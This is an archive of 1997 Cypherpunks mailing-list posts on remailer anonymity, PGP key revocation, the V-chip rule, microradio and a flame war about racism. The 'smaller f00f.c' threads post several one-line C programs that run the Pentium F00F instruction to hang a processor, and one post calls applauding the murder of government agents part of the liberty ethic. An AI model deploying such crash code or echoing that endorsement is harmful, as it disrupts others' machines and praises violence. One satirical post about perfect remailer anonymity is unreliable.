either because they can't accommodate the extra slack,
or because they think a large fraction of the inhabitants moved,
or because they use numbers or a small set of abbreviations
to indicate provinces and weren't designed for that to change...

[* Some residents prefer to retain the old name of Northwest Territories,
but they'll eventually lose....]
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 15 Nov 1997 00:31:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <78ce81bf80f38ec4664ed8e4cdcd402f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 PM 11/14/97 +0900, Joichi Ito wrote:
>Oh and by the way:
>
>Article 21 of the Constitution of Japan
>
>Freedom of assembly and association as well as speech, press
>and all other forms of expression are guaranteed.
>2) No censorship shall be maintained, nor shall the secrecy of
>any means of communication be violated. 
>
>"nya nya na nya nya..."

Is that Japanese for "Wassenaar"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sat, 15 Nov 1997 13:37:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <1f6c13f75e895afd9ec8f5d61ed19ff9@squirrel>
Message-ID: <v03102810b092543a2372@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Injustice happens everyday.  The next time you find yourself at Burger
>King stuffing yourself with greasy slop, think of the millions of people
>in Africa who are slowly starving to death.  Injustice, yes, but what
>are you going to do about it?  Anything?
>
>The fact is you can't do anything, even if you wanted to.  And because
>of that we all become reactionary, angered, resentful, violent.  We
>perpetuate the disintegration of mankind, of ourselves.
>
>No people in their right mind should bow down and lick the boots of their
>oppressors.  But neither should they kill them either.  The intelligent
>action is to show the oppressors the errors in their ways.  Every human 
>being, even our "enemies" have a mind that is not completely devoid of
>reason.  The sooner we show them a better way of living, the sooner we can 
>move toward it.  Then the possibility for an end to the injustices that
>surround us becomes more available.

Many injustices follow from form and scale of government.  I won't be the first to point out that as the number of people, geography and ethnic diversity increase governance becomes ever more difficult and as is the balancing of individual liberty over the "overiding interests of the society."  The solution is clear, the method of its emergence is not.  Smaller geo-political units.  I doubt that our pressing social and political problems can be adequately delt with until the scale of governance is changed, but this requires those in the center to give up much and historically this has rarely if ever happened without bloodshed.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Sat, 15 Nov 1997 01:26:49 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: smaller f00f.c
In-Reply-To: <199711141623.QAA03067@server.test.net>
Message-ID: <Pine.LNX.3.95.971114120723.4898B-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Nov 1997, Adam Back wrote:

> f00fie writes:
> > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > Crash-A-Pentium-in-44-characters:
> > 
> >    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
> 
> Hey, challenge is on:
> 
> main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> main(){((int(*)())"\360\017\307\310")();}
> main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> main(i){i=0xc8c70ff0;((int(*)())&i)();}
> (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */
> 
> Compiled with gcc.


How about:

long main[]={0xc8c70ff0};

or even

main[]={0xc8c70ff0}; /* 21 chars */

Compiles with gcc, but I haven't tested it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 04:30:48 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <v0310280fb092516361eb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:17 AM -0700 11/14/97, Paul Bradley wrote:

>and liberty ethic. As for white supremacy, look elsewhere, I think you`ll
>find Tim`s post an example of what the developed world knows as humour,
>not a serious attack on any ethnic group.

Just so.

I'm actually delighted the Joichi Ito has, on the basis of my humor,
denounced me as a racist.  As a member of a "mongrelized society," as one
prominent Japanese put it a while back (and not back in the 1940s...it was
the 1980s), I am always happy to be called a racist by someone from one of
the most racially homogeneous nations on earth, a nation which of course
did not allow any "boat people" to settle in their nation, all the while
denouncing the U.S. for letting only several hundred thousand boat people
in.

The history of our "Nobuki Nakatuji" <bd1011@hotmail.com> is apparently
unknown to Joichi Ito, else he would not have been so quick to brand me a
racist for my humor.

I'm not even sure Nobuki Nakatuji is even an actual Japanese, given his
hotmail.com account and his stereotypically
Japanese-trying-to-write-English skills. It may just be a troll. Or a
get-rich-quick scheme.

I've probably deleted most of this Nakatuji guy's posts, but I did manage
to find a dozen or so. Here are some excerpts for those who have forgotten
what he has written. (Oh, and he seems to never engage in any discussions,
never responding substantively to anything people say to him. I suspect a
bot at work.)

---

From: "Nobuki Nakatuji" <bd1011@hotmail.com>
To: cypherpunks@toad.com
Subject: Please show me these encryption algorithms
Date: Fri, 05 Sep 1997 21:09:06 PDT


Does anybody know RC4,RC2,CDMF,MISTY,MULTI2 encryption algorithms?
If you know these encryption algorithms,
Please show me these encryption algorithms.

---

From: "Nobuki Nakatuji" <bd1011@hotmail.com>
To: cypherpunks@toad.com
Subject: GAO's Chaos Cryptosystem Algorithms
Date: Wed, 10 Sep 1997 19:15:21 PDT

Do you want Gao's chaos cryptosytem's thesis
written in English ?
If you want it,Please send check or money order
of 50 dollar to me.

---

From: "Nobuki Nakatuji" <bd1011@hotmail.com>
To: cypherpunks@toad.com
Subject: MITSUBISHI MISTY algorithm
Date: Thu, 11 Sep 1997 21:30:40 PDT

Does anybody know MITSUBISHI MISTY algorithm ?
If you know it,Please send e-mail to me.

---

From: "Nobuki Nakatuji" <bd1011@hotmail.com>
To: cypherpunks@toad.com
Subject: MISTY algorithm
Date: Fri, 26 Sep 1997 20:00:20 PDT

Does anybody want MISTY algorithm ?
If you want it,Please send e-mail to me.

---

From: "Nobuki Nakatuji" <bd1011@hotmail.com>
To: cypherpunks@toad.com
Subject: Where are another cypherpunk
Date: Wed, 15 Oct 1997 21:18:23 PDT

Where are another cypherpunk mailinglist ?











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 15 Nov 1997 01:53:53 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Br'er Tim and the Bug Hole
Message-ID: <2328C77FF9F2D011AE970000F84104A749343D@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Bob Hettinga writes in reply ('>'):
>> If Tim believes that a judge has committed a capital crime, I want to
>> hear about it.
>
>Right. The judge made a decision that Tim thinks the judge should die
for.
>
>My point is not the fact of whether the judge committed an "executable"
>offense, or didn't. It was that Tim made a thinly veiled threat. To
wit, Tim
>implied that the Judge should be executed for his court decision. I'm
saying
>that guys with associates' degrees in "criminal justice" would love any
reason
>to make Tim a new wife of one of their permanent jail residents after
a, um,
>crack, like that, and Tim, more to the um, point, seems to, um, up the
ante,
>by sauntering down to the the jailhouse and pissing on the guard's
shoes.
>
>Metaphorically, of course. :-).

I think you're making a mountain out of a metaphor, here, Bob (sound of
language processor set on "puree"...)

In what seems to worry you about Tim, I see him just saying that if
things he thinks may come to pass, do come to pass, he isn't going to go
"quietly into that goodnight".  I suspect his view of what is coming is
influenced by where he lives (Corralitos, CA) just as yours is
influenced by your location (Boston, MA) and my viewpoint is necessarily
influenced by my location (Noblesville/Indianapolis, IN).  It seems to
me that a lot of social changes start on the West Coast, often including
those of a greater governmental powers nature -- Tim may actually have
more to worry about than you or me.  Or none of us may have these
worries *if* we make sure, in whatever ways we can, to influence others
to resist the continuing encroachment of governmental power upon
individual freedoms.  Plus I think (from what I can see):
* Tim likes to be prepared; and
* Tim finds weaponry intrinsically interesting;
so these elements enter his writing.


To make a long story short (too late!), when I read Tim saying that the
judge has committed a capital crime, I interpret that as he should be
tried, and if found guilty (as Tim thinks likely so), then he should
receive a severe punishment consistent with the nature of his crime.
Both Tim and you, Bob, write very clearly and coherently.  I have never
read anything that Tim has written that makes me think he is anywhere
near ready to make a "first strike" against government -- but if the
government chooses to act illegally and unconstitutionally against Tim,
he says he will defend himself as is his right.


I dunno... Sometimes, Bob, I think that you and Tim have so much trouble
because you are in such violent agreement about the importance of
cryptography...
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Sat, 15 Nov 1997 02:28:08 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: smaller f00f.c
In-Reply-To: <199711141815.NAA28804@jafar.issl.atl.hp.com>
Message-ID: <Pine.LNX.3.95.971114130737.4898E-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Nov 1997, Jeff Barber wrote:

> No need for an array, so my entry is:
> 
> int main=0xc8c70ff0; /* 20 chars */

Cool. This also compiles:

main=0xc8c70ff0; /* 14 chars */


Just as many chars as the assembly code, f00f.s:

lock cmpxch8b

[can unknown intructions like this be force compiled?]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Sat, 15 Nov 1997 02:13:14 +0800
To: stutz@dsl.org
Subject: Re: smaller f00f.c
In-Reply-To: <Pine.LNX.3.95.971114120723.4898B-100000@devel.nacs.net>
Message-ID: <199711141815.NAA28804@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Michael Stutz writes:
> On Fri, 14 Nov 1997, Adam Back wrote:
> > f00fie writes:
> > > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > > Crash-A-Pentium-in-44-characters:
> > > 
> > >    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
> > 
> > Hey, challenge is on:
> > 
> > main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> > main(){((int(*)())"\360\017\307\310")();}
> > main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> > main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> > main(i){i=0xc8c70ff0;((int(*)())&i)();}
> > (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> > (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */

> How about:
> 
> long main[]={0xc8c70ff0};
> 
> or even
> 
> main[]={0xc8c70ff0}; /* 21 chars */
> 
> Compiles with gcc, but I haven't tested it.

No need for an array, so my entry is:

int main=0xc8c70ff0; /* 20 chars */


Compiles and runs, core dumping with illegal instruction on my
Linux box (obviously, it's not a Pentium).


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 20:33:26 +0800
To: cypherpunks@toad.com
Subject: Re: Key Signing
Message-ID: <199711141219.NAA14497@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> I'm not sure how comfortable I am signing a key which has the
> private keys made public - so I signed it, and revoked it,
> and you're welcome to the signed revocation certificate :-)
> 
> The keyserver says it accepted the certificate, but doesn't
> find it when I query it for the key, but then it did that to me
> earlier today, so I'm not sure if it's there or not.
> (It's the server at http://www.pgp.com/keyserver/pks-lookup.cgi .)
> 
> The KeyID was 0x61C747B1 - 512-bit RSA

The PGP Keyserver could not find the key when accessed from the
PGP web site (Find a Public Key), but when requesting it from
inside PGP 5.0, it retrieved the key, revoking the key on my
secret key ring, in the process.

Necessarily Knott, ME
(Although it _may_ be me, since I have not signed the message...
 Or is it the other way around? This is getting confusing.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 21:08:48 +0800
To: cypherpunks@toad.com
Subject: Re: Key Signing
Message-ID: <199711141254.NAA17633@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

> I'm not sure how comfortable I am signing a key which has the
> private keys made public - so I signed it, and revoked it,
> and you're welcome to the signed revocation certificate :-)

BTW, I was farting around and discovered that I could change the
password on a revoked secret key. This means that someone can crack
the password on your revoked secret key if they have access to it.
This would make your new key vulnerable if you used the same password.

I suppose this qualifies as PGP trivia, but if it saves the life of
just one fascist dicator...

!Knott (Who's dare?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 15 Nov 1997 03:35:29 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <Pine.LNX.3.91.971114141408.1522C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> This illustrates what a liability the poster has become to the cypherpunks.
> The group is becoming just another militia front, identified with racism
> and white supremacy, applauding violent murder of government agents,
> one step from applauding the Oklahoma killings.  Its original purpose
> all but forgotten, the list has died, poisoned by the hatred flowing from
> its leader.

At the risk of responding to a post which has a good probability of being 
a troll I will at least say that the above opinion may be that of several 
members, but the fact is the list has evolved, it never had an original 
defined purpose, at least not one easily put into words, and applauding 
murder of government agents is a part of the whole strong crypto privacy 
and liberty ethic. As for white supremacy, look elsewhere, I think you`ll 
find Tim`s post an example of what the developed world knows as humour, 
not a serious attack on any ethnic group.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Nov 1997 06:36:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <1f6c13f75e895afd9ec8f5d61ed19ff9@squirrel>
Message-ID: <19971114142015.35203@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Nov 13, 1997 at 05:59:51AM -0000, Secret Squirrel wrote:
[...]
> 
> "I know not what course others may take; but as for me, give me liberty, 
> or give me death." -- Patrick Henry
> 
> What is life without liberty?  Abject slavery.  Any sane man would rather
> die than be a slave.

It makes nice rhetoric, but this is simply not true, you know.  Most 
people correctly evaluate that you have no chance for freedom at all 
if you commit suicide, whereas a slave *does* have a chance.

But of course we know from game theory that being completely
predictable can be a weakness.  So having a certain percentage of the
population who will behave irrationally is probably necessary for the
health of a society.  But if too many people act irrationally, 
society will disintegrate.  (By "irrational" here I am referring to 
behaviour clearly contrary to your own survival.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 15 Nov 1997 05:00:15 +0800
To: cypherpunks@toad.com
Subject: Re: Key Signing
In-Reply-To: <199711141003.LAA02307@basement.replay.com>
Message-ID: <v04002705b09258139cc2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:03 am -0500 on 11/14/97, Anonymous wrote:


>   I was testing the procedure outlined in Epilogue 5 of InfoWar
> on a friend's machine and, sure enough, I got PGP 2.62 to spit
> out the private key he had created as Necessarily Knott, ME.

True confession time. Last March, when I was clearly still figuring PGP
out, while experimenting with a nameless Mac PGP crypto package (hint, it
wasn't built here on this side of the pond) based on 2.6.2, I accidentally
exported my private key and sent it to someone famous so they could sign
it.

Fortunately, that person (hint, he knew PRZ, once, and got in trouble for
it) physically showed up to visit me where I was working at the time, and
stood over me while I genned up a new private key (I went to 2048 then) and
revoked the old one, talking all the time about how many ways he could do a
dictionary for the passphrase... I was feeling pretty stupid until he told
me that PRZ did the same thing, back when they were playing with the
original version of PGP. Actually, I still felt stupid after that.

Believe it... or not.

So, anyone want to bet that this key was done the same way?

Except, how was Bill able to change the passphrase if he didn't know the
old one?

Curiouser and curiouser...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 15 Nov 1997 05:19:03 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <1.5.4.32.19971114204434.00c77790@pop.pipeline.com>
Message-ID: <Pine.LNX.3.95.971114150145.4320G-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Nov 1997, John Young wrote:

> Nobody@replay.com spake:
> 
> >Step back from this immersion in a culture of violence.  Draw the cloak
> >of privacy about your actions.  That is the true cypherpunk way.
> 
> Now this is A-1 cpunk-bonic blacknet stocking. Hectoring, condescending, 
> intolerant, imperative, in perfect denial of all possible put-ons save the 
> sound of one maggot gobbling a numbskull's braincell, backgassing a 
> heed-this screed.
> 
> As H bobs, eye *snot* dis lip.
> 
> Suss is lisp (wa tmor (wa rc4)).
> 
> wa locking intel inside
> 
> wa nya, nya, nya
> 
> wa wa?
> 
> wa nsa, nsa, nsa
> 
> wa wa, wa, wha the?
> 
> wa
> 
> w'
> 

Man!  Steely Dan's Donald Fagen couldn't hold a candle
to John's syntactic(*synaptic*?) constructs.  

When is John going to share some of those drugs?

jim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 15 Nov 1997 04:34:25 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <d5d52575805da34d1a21fcf126379b15@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



On 11/14/97, Tim May wrote:

> Which explains why that Japanese-produced RSA chip was suddenly withdrawn
> from the market shortly after Jim Bidzos held it up in fron of Congress as
> an example of how foolish the U.S. export laws are. The Japanese stooges
> were ordered by their masters in Washington to conform to U.S. policy.

So, Tim, exactly how much stock in RSA did you have in RSA at the time, and
how much did the stock tank afterward?

Say hello to Bidzos from us the next time you two have lunch...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 15 Nov 1997 04:57:08 +0800
To: cypherpunks@toad.com
Subject: The V-Chip for PCs, the FCC, and broadcasting on the Net
Message-ID: <v03007803b0926853ecf7@[204.254.21.61]>
MIME-Version: 1.0
Content-Type: text/plain



My original article on the VChip for PCs:
  http://cgi.pathfinder.com/netly/opinion/0,1042,1528,00.html

-Declan

**********

Date:         Fri, 14 Nov 1997 10:37:34 -0800
From: Robert Cannon <cannon@DC.NET>
Subject:      Re: VCHIP (was Son of CDA)

>>> David Lesher <wb8foz@NRK.COM> 11/14/97 09:37am >>>
Cassidy Sehgal sez:
>>
>> The FCC proceedings currently on the mandatory inclusion of the V-Chip
>> in televisions also refer to including the chip in personal computers. I
>> think that is the back door the administration and groups like CDT are
>> looking for to censor the net.
>
>If I recall correctly, that was an interpretation by a reporter
>and has been revised...
>


The interpretation of the proceeding is correct.  There has been no
revision.  There have been quotes in the press from FCC officials
stating VCHIP does not apply to PCs because PCs cant display broadcast.
This is inaccurate.

Here is the language from the rulemaking itself:

<SNIP>

Para. 22:   Other Television Receiving Apparatus. . . . In addition,
personal computer systems, which are not traditionally thought of as
television receivers, are already being sold with the capability to view
television and other video programming. Section 551(c) of the
Telecommunications Act makes it clear that the program blocking
requirements were intended to apply to any "apparatus designed to
receive television signals" that has a picture screen of 13 inches or
larger. Accordingly, we believe that the program blocking requirements
we are
proposing should apply to any television receiver meeting the screen
size requirements, regardless of whether it is designed to
receive video programming that is distributed only through cable
television systems, MDS, DBS, or by some other distribution
system. These requirements would also apply to any computer that is sold
with TV receiver capability and a monitor that has a
viewable picture size of 13 inches or larger, as we currently do for
closed captioning.

<END SNIP>

First, there have been a series of articles lately on technical
developments for computers.  There is the expectancy that soon all PC's
will be able to receive and display broadcast signals.  W3C is
developing a standard for the display of broadcast over the Internet.
So, if all future PC's can display broadcast, they fall under the
provisions of para 22.  See Spec to bring TV-like content to Net C|NET
November 6, 1997; W3C Issues First Public Draft of Synchronized
Multimedia Integration Language (SMIL): Key Industry Players and
Research
Organisations Team-Up to Merge the Web with Television (Nov 6, 1997);
Changing Channels: Will the Internet Become TV, PC Magazine (November
1997).

Second, if they fall under para. 22, then the VCHIP would be required to
block the transmission, whatever the source.  Para 22 states that the
VCHIP will block "video programming that is distributed . . . by some
other distribution system."  Arguably, the Internet falls under "some
other distribution system.

Final thought, if you think this analysis is wrong, make sure you file
comments with the FCC by November 24 at vchip@fcc.gov telling them so.
Make sure the FCC understands this issue the way you think it should be
understood.

-Robert Cannon
Internet Telecommunications Project
http://www.cais.net/cannon/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Nov 1997 04:57:05 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <1.5.4.32.19971114204434.00c77790@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Nobody@replay.com spake:

>Step back from this immersion in a culture of violence.  Draw the cloak
>of privacy about your actions.  That is the true cypherpunk way.

Now this is A-1 cpunk-bonic blacknet stocking. Hectoring, condescending, 
intolerant, imperative, in perfect denial of all possible put-ons save the 
sound of one maggot gobbling a numbskull's braincell, backgassing a 
heed-this screed.

As H bobs, eye *snot* dis lip.

Suss is lisp (wa tmor (wa rc4)).

wa locking intel inside

wa nya, nya, nya

wa wa?

wa nsa, nsa, nsa

wa wa, wa, wha the?

wa

w'

.[Stego]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 15 Nov 1997 05:33:50 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <65a00aae0e204b2dbf6415a44da035dd@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



How "anonymous" (to what degree) are email messages
sent through the various remailers (Mixmaster,
EFGA, ml.org, etc)?

Have there been any studies done as to the degree
of anonymity obtained from using these remailers?
(I haven't been able to find any.)

And does anyone know of any studies being done
in determining whether or not content-based
analysis - diction and language - is a reliable
way to determine identity?

It seems that if Dick has a certain vocabulary,
uses a certain sentence structure, etc., and
regularly posts using a nym, that this form and
content could be traced to Dick, so the likelihood
of the post coming from him and not Jane would
be that much increased.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Nov 1997 00:39:01 +0800
To: cypherpunks@cyberpass.net
Subject: smaller f00f.c
In-Reply-To: <ee060f3a0e4bf55a83116f8e795b2216@anon.efga.org>
Message-ID: <199711141623.QAA03067@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




f00fie writes:
> In the grand tradition of RSA-in-3-lines-of-perl, we present
> Crash-A-Pentium-in-44-characters:
> 
>    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}

Hey, challenge is on:

main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
main(){((int(*)())"\360\017\307\310")();}
main(){int i=0xc8c70ff0,(*f)()=&i;f();}
main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
main(i){i=0xc8c70ff0;((int(*)())&i)();}
(*f)();main(i){f=&i;i=0xc8c70ff0;f();}
(*f)()="\360\017\307\310";main(){f();}       /* 38 chars */

Compiled with gcc.

(Note that I haven't tested them because I have an AMD k5 which
doesn't suffer from this bug -- perhaps someone with an Intel pentium
could try them).

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Louis J. Freeh" <ljh@dev.null>
Date: Sat, 15 Nov 1997 07:17:25 +0800
To: cypherpunks@cyberpass.net
Subject: Remailer Security
In-Reply-To: <65a00aae0e204b2dbf6415a44da035dd@anon.efga.org>
Message-ID: <346CD981.7ED2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

Anonymous wrote:
 
> How "anonymous" (to what degree) are email messages
> sent through the various remailers (Mixmaster,
> EFGA, ml.org, etc)?

  Everyone who uses a remailer is perfectly anonymous, and thus safe
from having their identity discovered. Remailers are now so advanced
that it is virtually impossible for anyone to discover the user's true
identity.
  Also, the Law Agency Freedom Foundation has verified that no law
enforcement agencies are running remailers, out of respect for the
citizen's right to anonymity.

> And does anyone know of any studies being done
> in determining whether or not content-based
> analysis - diction and language - is a reliable
> way to determine identity?

  This is patently ridiculous. CypherPunks have long tried to figure
out, by use of, as you said, these means, to ferret out schills,
yes, schills, on the list. In totoal, to date, they have been unable
to successfully do so.
  ? the Platypus say heyed to me joust the otter day that hee...hee
warts able two foal Manny peephole awn the CyperPukes lips width
his alanon e-mouse pastes.

  Hope this clears things up for you...

Anonymous (see! it worked for me)
p.s. - and headers are meaningless, too





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FBI Target <ft@dev.null>
Date: Sat, 15 Nov 1997 07:47:14 +0800
To: Ulf Möller <ulf@fitug.de>
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <9711142104.AA49354@public.uni-hamburg.de>
Message-ID: <346CDCE0.793C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Ulf Möller wrote:
> 
> > If you don't speak up when someone says something objectionable, you are
> > implicitly condoning it.  Silence gives consent.
> 
> I'm not implicitly condoning the ASCII art insultbot just because I
> ignore it.  Nor am I implicitly condoning William Geiger's posts when
> I don't read them.

  I would like everyone to know that I am implicitly condoning
everything
said on this list, even the stuff James Dalton Bell said before I joined
the list. As a matter of fact I am even implicitly condoning the things
that I disagree with. So there...

A Lurker From Bienfait
"Here's the belt, daddy!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 15 Nov 1997 05:32:57 +0800
To: cypherpunks@toad.com
Subject: Re: Victory for Microbroadcasting
Message-ID: <Js7Cx+Ed7LaZDLfit8DnEQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
> The Intenet Content Coalition (ICC) made a cheap grab at trying to form
> a corporate FCC to put the InterNet media-power brokering in the hands
> of those who already rule the roost overseen by the FCC. 

> The fact of the matter is, the mainstream media is not going to have
> a lot of trouble herding the majority of the sheeple into their feeding
> pens, given the power, money and position that they already have, so
> it is a bit tacky for them to have made an attempt to put themselves
> in a position to 'enforce' standards favorable to themselves.

  Amen! These fools have to start realizing that their best allies in
getting out from under the thumb of big gubmint are the citizens, many
of whom share similar goals in this regard.
  If the corporations try to get too greedy, then they will be no better
option for the citizens than the government currently is, and will have
to fight their war on two fronts, which history has shown to be a very
untenable position.
 
> The difference between MicroBroadcasting and the MicroWeb/WebRings
> that are being independently formed, is that MicroBroadcasting is
> trying to get back what was stolen, and those on the InterNet are
> trying to keep from getting what we already have, stolen in the
> future.

  We should all encourage ourselves and others to develop as many
communities and inter-related/active communities on the Net as
possible in the near future. The more people who have something to
defend, something to lose, by the loss of freedom on the Net, then
the more who will be ready and willing to raise their voice when
the Fascist Censors/Controllers attempt to steal what does not
belong to them--our speech, privacy, and liberty.
 
>     ---------------------------------------------------------------
>         National Lawyers Guild Committee on Democratic Communications
>                     558 Capp Street, San Francisco 94110

>                  COURT REJECTS FCC's CONSTITUTIONAL CATCH 22
 
>      In 1995, Judge Wilken rejected the government's first motion for a
>      preliminary injunction against Dunifer's broadcasts. At that time
>      the Court found merit in Dunifer's argument that the FCC's ban on
>      low power, affordable FM broadcasting was a violation of the First
>      Amendment's guarantee of free speech to all in the United States.
...
>      In response to pressure from the commercial broadcaster's lobby,
>      the National Association of Broadcasters (N.A.B.), the FCC has in
>      recent months been stepping up its campaign of harassment against
>      the thousands of micro radio stations now on the air in this
>      country. 

  They are trying to find a few sympathetic/bought judges to make 
rulings which they can use against those who do not have the funds 
and the political savy that the Berkeley people do, in order to have
a basis for further injunctions while they apply pressure from other
fronts, as well.

>      Hiken commented ...
>      "In trying to do the N.A.B.Õs bidding, the FCC demonstrates
>      that it is nothing but an enforcement arm of the commercial
>      broadcast industry and the multi-national corporations which own
>      it."


>      In its
>      Friend of the Court brief the Lawyers Guild pointed out that FCC
>      regulations make it impossible for all but the very wealthy to
>      even apply for a broadcast license. This, they told the Court, is
>      the equivalent of saying anyone could speak from a soap box in the
>      park, but the box had to be made of gold. 

  Freedom of speech for the rich and powerful...sound familiar?

>      For almost 70 years, the FCC has catered solely to the
